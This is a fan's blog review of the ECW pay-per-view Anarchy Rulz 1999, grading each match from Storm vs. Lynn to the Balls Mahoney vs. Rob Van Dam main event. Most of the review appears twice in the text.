Rating: A-. I loved this and yes it’s biased. Even still though, this was very solid stuff. See what happens with simple psychology and good wrestling? It works very well indeed and you get a great match that I was way into. This worked and to be fair it’s probably because they’re two of my favorites in ECW.

Joey and Cyrus argue about “the office.”

Simon Diamond is here. He used to sleep with Dawn Marie so he’s awesome. He talks in the 3rd person but has none of Rock’s talent so there you go. He is looking for a partner and asks for Tom Marquez who graduated from the House of Hardcore. And that’s not good enough because Simon didn’t say it. There is no man here to fight Simon. And cue Jazz. Apparently he’s looking for a partner. Which is why he asked for someone to fight. Got it.

She’s a face at this point and is in no way shape or form a Chyna rip-off. Nope, not at all is she, the woman that looks tough and is overly muscular and fighting men a rip-off of Chyna. Not at all. Diamond runs his mouth off and yells at Marquez, the timekeeper tonight, to fight Jazz. Sure why not.

Jazz vs. Tom Marquez

Jazz gets beaten up for awhile and then hits a mat slam for a long two but a guy named Tony DeVito pulls the referee out. Yeah this wasn’t a match. 45 seconds at most.

Chris Chetti and Nova run out for the save and apparently THIS is a tag match now.

Chris Chetti/Nova vs. Tony DeVito/Simon Diamond

Apparently Nova is the most ripped off wrestler in the world as whatever he invents is on Monday night the next week. While that’s true to an extent, I’ll let it go and let Mr. Joey Pot and Cyrus Kettle, call this match. Wow that Jazz is BLACK. WOW that joke sucked. Anyway, you get the idea I think. DeVito goes for a Rock Bottom and botches the living tar out of it. And after about two minutes Danny Doring and Roadkill along with that redhead chick named Angelica run out for the DQ. Yes it’s Lita.

Rating: N/A. Two minutes of just boring stuff.

They hit Jazz with the Hart Attack. A ton of jobbers come out to stop Roadkill and it’s just a massive brawl. And now we get the point to all this: it’s New Jack. Oh why does he have to come back? I’m sure you know my thoughts on New Jack by now. One of the jobbers in there is the semi-famous Big Vito.

Staple gun to the head of some guy. And we do it again. Make it three times. I hate New Jack. I truly do. Nova and Chetti seem to like him though. Ok to be fair, the crowd is going nuts over this.

Tour ad.

Cyrus and Joey argue some more.

Yoshihiro Tajiri vs. Super Crazy vs. Little Guido

During the entrances, Joey says he’s more or less high on laryngitis medications. Ok then. Tajiri is in his traditional look now. Crowd seems to favor Crazy the best. They point out the three distinct styles here which is a nice touch. Well this is better than another combination them going one on one again I guess. Oh and Big Sal is now the Big Salbowski. Give me a break.

Yes I get that it’s an intentional parody, but if this was the other way around, ECW would be FREAKING over WWF taking another idea from them. When ECW does it, it’s a parody though. Yeah that’s annoying. The chant of Where’s My Pizza starts up. WOW those get annoying. It’s your basic spotfest to start: stupid but fun. Guido hooks a camel clutch on Crazy and Tajiri kicks the tar out of him. They set for it again and Tajiri kicks the heck out of Guido. Nice one.

Tajiri hits a picture perfect moonsault to the floor to take out both guys. It was of the Asai breed in case you were curious. Guido hits a second rope Fameasser which looked good. Not sure why but it did. Crazy one ups Tajiri by hitting a top rope Asai moonsault and lands ON HIS FEET. That was awesome looking. In a SICK spot, Tajiri goes for a sunset flip on Crazy but it’s blocked. Tajiri pulls himself back up, spins crazy around and hooks the Tarantula.

Guido throws in a great double foot to the face. That was one of the coolest things I’ve seen in a long time. Guido gets the Sicilian Crab at the same time Crazy gets a camel clutch. Tajiri was totally off the ground. Ton of sick spots in this match. That baseball slide dropkick in the Tree of Woe is always great. Crazy follows that up with a moonsault to put Guido out.

It’s elimination rules in case you didn’t get that so we’re down to Tajiri and Crazy. The ten punch count being in Spanish is always a nice touch. The handspring elbow hits for Tajiri. We get a Super Loco chant. When they get creative like that I can live with them. Tajiri blocks the triple moonsault and just goes off on Crazy. A SICK brainbuster ends it.

Rating: B-. This is an odd match. The spots were great and I liked them a lot, but I just could not get into the match as a whole if that makes sense. I think it’s because this has been done so many times now that there’s just no real reason to care about this match. It was fun, but there’s just nothing of substance to it. Nice spot fest though.

We throw it to Steve Corino who says they were going to bring in the Insane Clown Posse to fight Raven and Dreamer tonight. And they’re not here. Corino was the manager apparently and brought them in. Instead Raven and Dreamer get Rhino and Corino. Ok then.

Billy Corgin is here.

They rant about WCW or something or other for awhile.

Justin Credible vs. Sabu

Does anyone else find it stupid that ECW says Sabu is genocidal? That’s just a bit of overkill. Sabu was banned for no apparent reason. Justin has a restraining order. Sacre bleu. What a waste of my time. Yes I quoted Smart Guy of all things. The referee says it’s a legal document, but there is no law tonight since Anarchy Rulz. Justin drills the announcer for saying it and the lights go out. Let’s get to it.

Apparently the Impact Players got him banned for being too violent. Fonzie gets a table for Sabu. Justin gets a Russian leg sweep on the ramp which looked good. I’d expect that’s the only wrestling move for awhile. Sabu goes through a table for some reason. Did anyone care about Credible? I don’t really think so. We get a vague Kliq reference which Justin was a part of in the back.

Sabu hits a big spot and Joey calls it indescribable just before he, say it with me, DESCRIBES IT. A bunch of overblown table spots follow. I don’t care either. So since Justin is having his head handed to him, I’m more or less counting down the time until the SHOCKING yes SHOCKING I SAY comeback that gives Justin the win. Cyrus finds Fonzie annoying. That’s very amusing. Justin is bleeding fairly badly.

A kendo stick shot gets two but Sabu has his foot on the ropes. Ok, so legally binding documents aren’t legal, but the ropes are. Got it. That’s Incredible gets two. Fonzie slides in a chair but it hits Sabu in the head. Nice one. BAD looking tombstone (That’s Incredible) on the chair ends it.

Rating: D-. The only word that came to my mind here was meh. I just totally did not care here for a few reasons. One, it’s Justin Credible. Two, you bring Sabu back to have him job? What sense does that make? The match was so sloppy and just bad. Didn’t like this at all, mainly due to the idiotic booking as Heyman continues to insist that Justin is some ring god.

ECW World Title: Masato Tanaka vs. Taz

No intro or anything. Joey just says it’s time for our world title match. The fans throw a TON of stuff into the ring because of Taz. He sold out apparently. No. Heyman screwed up the booking of him because no one cared about him as a face after he whined for a year and Shane Douglas wouldn’t drop the title like he should have. I still say that had as much to do with killing ECW as anything did.

That and not putting the belt on RVD about 5 months before this. Mike Awesome is in the crowd and Taz says send him in there too. Heyman comes out and holds Awesome back. I love how the fans go from YOU SOLD OUT to yelling his catchphrase with him inside of a minute. Remember that officially Taz hasn’t been announced as leaving yet but it’s the worst kept secret in wrestling. Heyman makes it a threeway.

So yeah add Mike Awesome to the title because I’m lazy. Oh and Awesome is in wrestling gear in the crowd. I’m shocked too. They double team him and that doesn’t work at all. Tanaka takes an Awesome Bomb. And then the Roaring Elbow and Awesome Splash puts Taz out in about two minutes. There you go then.

The locker room empties so that everyone can say goodbye to Taz. Yeah this was a total secret right? Awesome hits a sweet Tope (Taker Dive) to the floor to take Tanaka down. This is your standard solid match with these two. Naturally chairs and tables are brought into play but you have to expect that in ECW. Tanaka hits a Tornado DDT on a chair for two.

And Tanaka gets powerbombed over the top to the floor through a table. Top rope splash follows that for two. Ok then. Tanaka no sells three LOUD chair shots and this Diamond Dust which is an awesome move. It’s table time again with Awesome in control again. Awesome hits a top rope powerbomb for the pin. Yeah that works but a chair shot to the head from the top doesn’t? Taz hands him the belt after the match. The roster says goodbye to Taz as no one cares about Axl Rotten. The fans loving Taz now is kind of stupid. Taz tells them to chant for Awesome. Nice touch there.

Rating: B. Usual good stuff here from these two, but at times the no selling gets annoying as all goodness. Still though, this was a shock to some people and it was a nice touch throwing Awesome in there as people knew Taz was losing, so here we didn’t know who was leaving with the belt. This was good.

Raven is hanging out by a swing and runs down the majority of the feud between him and Dreamer. The “It’s Tommy’s” line gets me every time. And no, I’m not running down that whole feud. The thing was excellent though. Raven and Dreamer are tag champions at the moment. Raven says he let Dreamer beat him that night. This is the Raven that everyone loved and he was awesome. He quotes Keyser Soze. How awesome is that?

Gertner comes out to interrupt the announcer and the crowd pops. And here are Francine and Dreamer. Man in the Box is always awesome so I can’t complain. To get it over with, the Dudleys were leaving and Dreamer stood up to them. Raven ran in to be his partner and they won the tag titles. They hate each other though and Dreamer is hurt badly so Raven is making him wrestle until he’s crippled.

Simple in a way I guess. Dreamer says he won’t be cutting a babyface promo. And cue the babyface promo. He’s going to wrestle no matter what the doctors say. And here’s Corino so I’d bet we’re getting a tag title match. Ok never mind as it’s a singles match with Rhino. Pay no attention to the fact that they said there would be a tag title match later tonight with these three and Raven which is inevitable. Yeah I’m not even counting this as a match because Raven is just killing time before he gets here. They’re just wasting time and HERE’S Raven.

Tag Titles: Raven/Tommy Dreamer vs. Steve Corino/Rhino

Jack Victory, the sidekick of Corino and Rhino comes in to help and a double DDT ends this about 12 seconds after Raven gets there.

Rating: N/A. Can someone tell me when the match ended and when it started?

Mancow, some annoying DJ that had TWO WCW PPV matches comes out with some fat guys since we have a ton of time left. They do nothing other than high five Raven and leave. WOW.

Ad for November to Remember.

So with 35 minutes left in the tape there’s just RVD to go.

Axl Rotten comes out to talk. Seriously, why does this guy keep getting on PPV? He wants the shot at Awesome. Please come murder him. Instead it’s the Impact Players and a British guy named Johnny Smith. Apparently Smith vs. RVD is the main event. Rotten says the people are cheering for the women and not the talent.

Insert your Becca joke here. Balls Mahoney and Spike come in for the save and Dawn gets hit with an Acid Drop. Smith takes a BIG chair shot and leaves. So Balls gets the title shot instead. Oh dear.

ECW TV Title: Balls Mahoney vs. Rob Van Dam

And we have half an hour to go and this is the main event. Oh DANG this could be painful. So we have Lynn who is obsessed with beating Van Dam and we get….Balls Mahoney vs. RVD. And people wonder why this company died. So Van Dam walks around for a few minutes to kill time. Wouldn’t a five minute match be a better use of time?

Oh that’s right: that army of jobbers had to be beaten up by New Jack instead of having a quick match. So with 25 minutes to go, NO ONE buys Mahoney having a prayer here. Seriously, they’re just blatantly wasting time now. I can’t get over Balls Mahoney main eventing a PPV. Seriously, no one cares about this match at all. All I’m doing is watching the clock on the player to wait until this is over.

Are those punches Balls throws supposed to be impressive or something? Van Dam hits a nice dive from the top into the crowd. And that ends anything interesting in this match. Seriously, the rest is more or less nothing but punches, kicks, chair shots and Balls doing moves he botches. This got TWENTY MINUTES.

Yeah I skipped a lot of the details here, but other than managing to kill an ECW crowd in a town like Chicago, this is the least interesting main event I can ever remember. Just terrible. A video package of the show fills in the final three minutes of the show.

Rating: F. Balls Mahoney main evented a PPV. That should be a meme somewhere for EPIC FAIL.

Overall Rating: D+. This wasn’t completely terrible. There are some good matches here, but good night the stuff that sucked was sucking hard. The opener and world title match were both very solid but the rest is completely forgettable. The three way cruiserweight match was fine for what it was but it’s been done WAY too much for me to care again. Not completely terrible, but nothing worth seeing. Storm and Lynn and the title match are good though.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

And follow me on Twitter @kbreviews

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:




Anarchy Rulz 1999: Balls Mahoney Is In The Main Event. Not The World Champion. Balls Mahoney.

Anarchy Rulz 1999
Date: September 19, 1999
Location: Odeum Expo Center, Villa Park, Illinois
Attendance: 6,000
Commentators: Joey Styles, Cyrus

And so it dies here. No not the company as they held onto life, if you want to call it that, for about another 16 months after this. Taz leaves here though, as WWF came with a huge sum of money about three weeks after ECW debuted on TNN. The Dudleys already left about two weeks earlier. Word has gotten out that Taz is leaving too, so don’t expect him to be incredibly over tonight. Other than that, there isn’t much on the card. Storm vs. Lynn should be fun though. Let’s get to it.

We see Masato Tanaka showing up. He’s the number one contender. I’m not sure but I think that was Dave Prazak doing the interview. Awesome’s manager shows up and doesn’t like Tanaka. He gets smacked.

Cyrus and Joey do the intro you would expect before we throw it to the theme song.

Lance Storm vs. Jerry Lynn

We start with this? Really? I guess part of anarchy is that we’re getting rid of the best match right off the bat for some reason. Dawn Marie’s dress is almost not even there. These are two of my favorites from ECW so I’ll be pleased with this more than likely. Jerry’s ribs are messed up because the Impact Players beat him up about a week before.

Lance Storm having his own personal woman is just amusing as all get out. Crowd is pretty one sided to say the least. We have a nice technical piece to start. Did you expect anything else? The fans applaud which is always a good sign. ECW fans were fair if nothing else. I’ve always liked Joey’s mentioning of the referees. They work extremely hard and rarely get the credit that they deserve. Storm’s chops kind of suck.

There’s a bad delay right before it connects and it makes them look really weak. The fans get bored with the match and would like to see something from Dawn. Cyrus gets a nice line in by saying that Storm is a step ahead of Gene Kiniski who was billed as Canada’s Greatest Athlete: he’s CALGARY’S Greatest Athlete. That’s a great line and could be solid for a heel in a territorial promotion.

The referee yells at someone at ringside for a LONG time with his eyes totally away from the action. Nice one guys. Jerry hits a nice plancha from the top rope to the floor and down goes Storm. Having Cyrus as an analyst is a GREAT help. Joey is fun to listen to but there is simply too much to have one guy do. That’s not a knock on Styles. It’s too much for anyone. Having an analyst in there takes a ton of pressure off of Joey and it’s helping a lot.

Cradle piledriver is blocked. Again, can someone explain the difference to me? SWEET pinfall reversal sequence that goes on for nearly a minute straight. That’s VERY impressive and literally gets a standing ovation from the crowd. They go wide to show it and they quite well should. Amazing stuff as I knew it would be. Cyrus points out that he used to be a wrestler which is something that needs to be done more often.

TNA has been doing it more often lately as they point out that Taz used to be a wrestler. He’s been retired what, 9 years or so? A LOT of fans likely haven’t seen him wrestle. How long has it been for King? Point out to the fans that he actually has experience. Jerry is a former world champion as is Taz. Let the fans know that once in awhile. There’s a chair wedged in the corner that hasn’t been doing anything yet.

Lynn is thrown into the corner but slides to avoid the steel macguffin. He slams his ribs into the post though and Storm goes after it like a Hart-trained wrestler attempting to use basic psychology. Lynn hits a Stunner out of nowhere to get us back to even. I love when wrestlers just bust out random moves.

It makes no sense that so many guys only use their signature stuff. Use whatever comes to mind, at least in kayfabe terms. Storm hits a knee to the ribs and hooks a ¾ nelson of all things for the clean pin? That came out of NOWHERE. It’s fine to end it that way as it looked solid, but DANG that was random.

Rating: A-. I loved this and yes it’s biased. Even still though, this was very solid stuff. See what happens with simple psychology and good wrestling? It works very well indeed and you get a great match that I was way into. This worked and to be fair it’s probably because they’re two of my favorites in ECW.

Joey and Cyrus argue about “the office.”

Simon Diamond is here. He used to screw Dawn Marie so he’s awesome. He talks in the 3rd person but has none of Rock’s talent so there you go. He is looking for a partner and asks for Tom Marquez who graduated from the House of Hardcore. And that’s not good enough because Simon didn’t say it. There is no man here to fight Simon. And cue Jazz. Apparently he’s looking for a partner. Which is why he asked for someone to fight. Got it.

She’s a face at this point and is in no way shape or form a Chyna rip-off. Nope, not at all is she, the woman that looks tough and is overly muscular and fighting men a rip-off of Chyna. Not at all. Diamond runs his mouth off and yells at Marquez, the timekeeper tonight, to fight Jazz. Sure why not.

Jazz vs. Tom Marquez

Jazz gets beaten up for awhile and then hits a mat slam for a long two but a guy named Tony DeVito pulls the referee out. Yeah this wasn’t a match. 45 seconds at most.

Chris Chetti and Nova run out for the save and apparently THIS is a tag match now.

Chris Chetti/Nova vs. Tony DeVito/Simon Diamond

Apparently Nova is the most ripped off wrestler in the world as whatever he invents is on Monday night the next week. While that’s true to an extent, I’ll let it go and let Mr. Joey Pot and Cyrus Kettle, call this match. Wow that Jazz is BLACK. WOW that joke sucked. Anyway, you get the idea I think. DeVito goes for a Rock Bottom and botches the living tar out of it. And after about two minutes Danny Doring and Roadkill along with that redhead chick named Angelica run out for the DQ. Yes it’s Lita.

Rating: N/A. Two minutes of just boring stuff.

They hit Jazz with the Hart Attack. A ton of jobbers come out to stop Roadkill and it’s just a massive brawl. And now we get the point to all this: it’s New Jack. Oh why does he have to come back? I’m sure you know my thoughts on New Jack by now. One of the jobbers in there is the semi-famous Big Vito.

Staple gun to the head of some guy. And we do it again. Make it three times. I hate New Jack. I truly do. Nova and Chetti seem to like him though. Ok to be fair, the crowd is going nuts over this.

Tour ad.

Cyrus and Joey argue some more.

Yoshihiro Tajiri vs. Super Crazy vs. Little Guido

During the entrances, Joey says he’s more or less high on laryngitis medications. Ok then. Tajiri is in his traditional look now. Crowd seems to favor Crazy the best. They point out the three distinct styles here which is a nice touch. Well this is better than another combination them going one on one again I guess. Oh and Big Sal is now the Big Salbowski. Give me a break.

Yes I get that it’s an intentional parody, but if this was the other way around, ECW would be FREAKING over WWF taking another idea from them. When ECW does it, it’s a parody though. Yeah that’s annoying. The chant of Where’s My Pizza starts up. WOW those get annoying. It’s your basic spotfest to start: stupid but fun. Guido hooks a camel clutch on Crazy and Tajiri kicks the heck out of him. They set for it again and Tajiri kicks the heck out of Guido. Nice one.

Tajiri hits a picture perfect moonsault to the floor to take out both guys. It was of the Asai breed in case you were curious. Guido hits a second rope Fameasser which looked good. Not sure why but it did. Crazy one ups Tajiri by hitting a top rope Asai moonsault and lands ON HIS FEET. That was awesome looking. In a SICK spot, Tajiri goes for a sunset flip on Crazy but it’s blocked. Tajiri pulls himself back up, spins crazy around and hooks the Tarantula.

Guido throws in a great double foot to the face. That was one of the coolest things I’ve seen in a long time. Guido gets the Sicilian Crab at the same time Crazy gets a camel clutch. Tajiri was totally off the ground. Ton of sick spots in this match. That baseball slide dropkick in the Tree of Woe is always great. Crazy follows that up with a moonsault to put Guido out.

It’s elimination rules in case you didn’t get that so we’re down to Tajiri and Crazy. The ten punch count being in Spanish is always a nice touch. The handspring elbow hits for Tajiri. We get a Super Loco chant. When they get creative like that I can live with them. Tajiri blocks the triple moonsault and just goes off on Crazy. A SICK brainbuster ends it.

Rating: B-. This is an odd match. The spots were great and I liked them a lot, but I just could not get into the match as a whole if that makes sense. I think it’s because this has been done so many times now that there’s just no real reason to care about this match. It was fun, but there’s just nothing of substance to it. Nice spot fest though.

We throw it to Steve Corino who says they were going to bring in the Insane Clown Posse to fight Raven and Dreamer tonight. And they’re not here. Corino was the manager apparently and brought them in. Instead Raven and Dreamer get Rhino and Corino. Ok then.

Billy Corgin is here.

They rant about WCW or something or other for awhile.

Justin Credible vs. Sabu

Does anyone else find it stupid that ECW says Sabu is genocidal? That’s just a bit of overkill. Sabu was banned for no apparent reason. Justin has a restraining order. Sacre bleu. What a waste of my time. Yes I quoted Smart Guy of all things. The referee says it’s a legal document, but there is no law tonight since Anarchy Rulz. Justin drills the announcer for saying it and the lights go out. Let’s get to it.

Apparently the Impact Players got him banned for being too violent. Fonzie gets a table for Sabu. Justin gets a Russian leg sweep on the ramp which looked good. I’d expect that’s the only wrestling move for awhile. Sabu goes through a table for some reason. Did anyone care about Credible? I don’t really think so. We get a vague Kliq reference which Justin was a part of in the back.

Sabu hits a big spot and Joey calls it indescribable just before he, say it with me, DESCRIBES IT. A bunch of overblown table spots follow. I don’t care either. So since Justin is having his head handed to him, I’m more or less counting down the time until the SHOCKING yes SHOCKING I SAY comeback that gives Justin the win. Cyrus finds Fonzie annoying. That’s very amusing. Justin is bleeding fairly badly.

A kendo stick shot gets two but Sabu has his foot on the ropes. Ok, so legally binding documents aren’t legal, but the ropes are. Got it. That’s Incredible gets two. Fonzie slides in a chair but it hits Sabu in the head. Nice one. BAD looking tombstone (That’s Incredible) on the chair ends it.

Rating: D-. The only word that came to my mind here was meh. I just totally did not care here for a few reasons. One, it’s Justin Credible. Two, you bring Sabu back to have him job? What sense does that make? The match was sloppy as all goodness and just bad. Didn’t like this at all, mainly due to the idiotic booking as Heyman continues to insist that Justin is some ring god.

ECW World Title: Masato Tanaka vs. Taz

No intro or anything. Joey just says it’s time for our world title match. The fans throw a TON of stuff into the ring because of Taz. He sold out apparently. No. Heyman screwed up the booking of him because no one cared about him as a face after he whined for a year and Shane Douglas wouldn’t drop the title like he should have. I still say that had as much to do with killing ECW as anything did.

That and not putting the belt on RVD about 5 months before this. Mike Awesome is in the crowd and Taz says send him in there too. Heyman comes out and holds Awesome back. I love how the fans go from YOU SOLD OUT to yelling his catchphrase with him inside of a minute. Remember that officially Taz hasn’t been announced as leaving yet but it’s the worst kept secret in wrestling. Heyman makes it a threeway.

So yeah add Mike Awesome to the title because I’m lazy. Oh and Awesome is in wrestling gear in the crowd. I’m shocked too. They double team him and that doesn’t work at all. Tanaka takes an Awesome Bomb. And then the Roaring Elbow and Awesome Splash puts Taz out in about two minutes. There you go then.

The locker room empties so that everyone can say goodbye to Taz. Yeah this was a total secret right? Awesome hits a sweet Tope (Taker Dive) to the floor to take Tanaka down. This is your standard solid match with these two. Naturally chairs and tables are brought into play but you have to expect that in ECW. Tanaka hits a Tornado DDT on a chair for two.

And Tanaka gets powerbombed over the top to the floor through a table. Top rope splash follows that for two. Ok then. Tanaka no sells three LOUD chair shots and this Diamond Dust which is an awesome move. It’s table time again with Awesome in control again. Awesome hits a top rope powerbomb for the pin. Yeah that works but a chair shot to the head from the top doesn’t? Taz hands him the belt after the match. The roster says goodbye to Taz as no one cares about Axl Rotten. The fans loving Taz now is kind of stupid. Taz tells them to chant for Awesome. Nice touch there.

Rating: B. Usual good stuff here from these two, but at times the no selling gets annoying. Still though, this was a shock to some people and it was a nice touch throwing Awesome in there as people knew Taz was losing, so here we didn’t know who was leaving with the belt. This was good.

Raven is hanging out by a swing and runs down the majority of the feud between him and Dreamer. The “It’s Tommy’s” line gets me every time. And no, I’m not running down that whole feud. The thing was excellent though. Raven and Dreamer are tag champions at the moment. Raven says he let Dreamer beat him that night. This is the Raven that everyone loved and he was awesome. He quotes Keyser Soze. How awesome is that?

Gertner comes out to interrupt the announcer and the crowd pops. And here are Francine and Dreamer. Man in the Box is always awesome so I can’t complain. To get it over with, the Dudleys were leaving and Dreamer stood up to them. Raven ran in to be his partner and they won the tag titles. They hate each other though and Dreamer is hurt badly so Raven is making him wrestle until he’s crippled.

Simple in a way I guess. Dreamer says he won’t be cutting a babyface promo. And cue the babyface promo. He’s going to wrestle no matter what the doctors say. And here’s Corino so I’d bet we’re getting a tag title match. Ok never mind as it’s a singles match with Rhino. Pay no attention to the fact that they said there would be a tag title match later tonight with these three and Raven which is inevitable. Yeah I’m not even counting this as a match because Raven is just killing time before he gets here. They’re just wasting time and HERE’S Raven.

Tag Titles: Raven/Tommy Dreamer vs. Steve Corino/Rhino

Jack Victory, the sidekick of Corino and Rhino comes in to help and a double DDT ends this about 12 seconds after Raven gets there.

Rating: N/A. Can someone tell me when the match ended and when it started?

Mancow, some annoying DJ that had TWO WCW PPV matches comes out with some fat guys since we have a ton of time left. They do nothing other than high five Raven and leave. WOW.

Ad for November to Remember.

So with 35 minutes left in the tape there’s just RVD to go.

Axl Rotten comes out to talk. Seriously, why does this guy keep getting on PPV? He wants the shot at Awesome. Please come murder him. Instead it’s the Impact Players and a British guy named Johnny Smith. Apparently Smith vs. RVD is the main event. Rotten says the people are cheering for the women and not the talent.

Insert your Becca joke here. Balls Mahoney and Spike come in for the save and Dawn gets hit with an Acid Drop. Smith takes a BIG chair shot and leaves. So Balls gets the title shot instead. Oh dear.

ECW TV Title: Balls Mahoney vs. Rob Van Dam

And we have half an hour to go and this is the main event. Oh my goodness this could be painful. So we have Lynn who is obsessed with beating Van Dam and we get….Balls Mahoney vs. RVD. And people wonder why this company died. So Van Dam walks around for a few minutes to kill time. Wouldn’t a five minute match be a better use of time?

Oh that’s right: that army of jobbers had to be beaten up by New Jack instead of having a quick match. So with 25 minutes to go, NO ONE buys Mahoney having a prayer here. Seriously, they’re just blatantly wasting time now. I can’t get over Balls Mahoney main eventing a PPV. Seriously, no one cares about this match at all. All I’m doing is watching the clock on the player to wait until this is over.

Are those punches Balls throws supposed to be impressive or something? Van Dam hits a nice dive from the top into the crowd. And that ends anything interesting in this match. Seriously, the rest is more or less nothing but punches, kicks, chair shots and Balls doing moves he botches. This got TWENTY MINUTES.

Yeah I skipped a lot of the details here, but other than managing to kill an ECW crowd in a town like Chicago, this is the least interesting main event I can ever remember. Just terrible. A video package of the show fills in the final three minutes of the show.

Rating: F. Balls Mahoney main evented a PPV. That should be a meme somewhere for EPIC FAIL.

Overall Rating: D+. This wasn’t completely terrible. There are some good matches here, but good night the stuff that sucked was sucking hard. The opener and world title match were both very solid but the rest is completely forgettable. The three way cruiserweight match was fine for what it was but it’s been done WAY too much for me to care again. Not completely terrible, but nothing worth seeing. Storm and Lynn and the title match are good though.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

And follow me on Twitter @kbreviews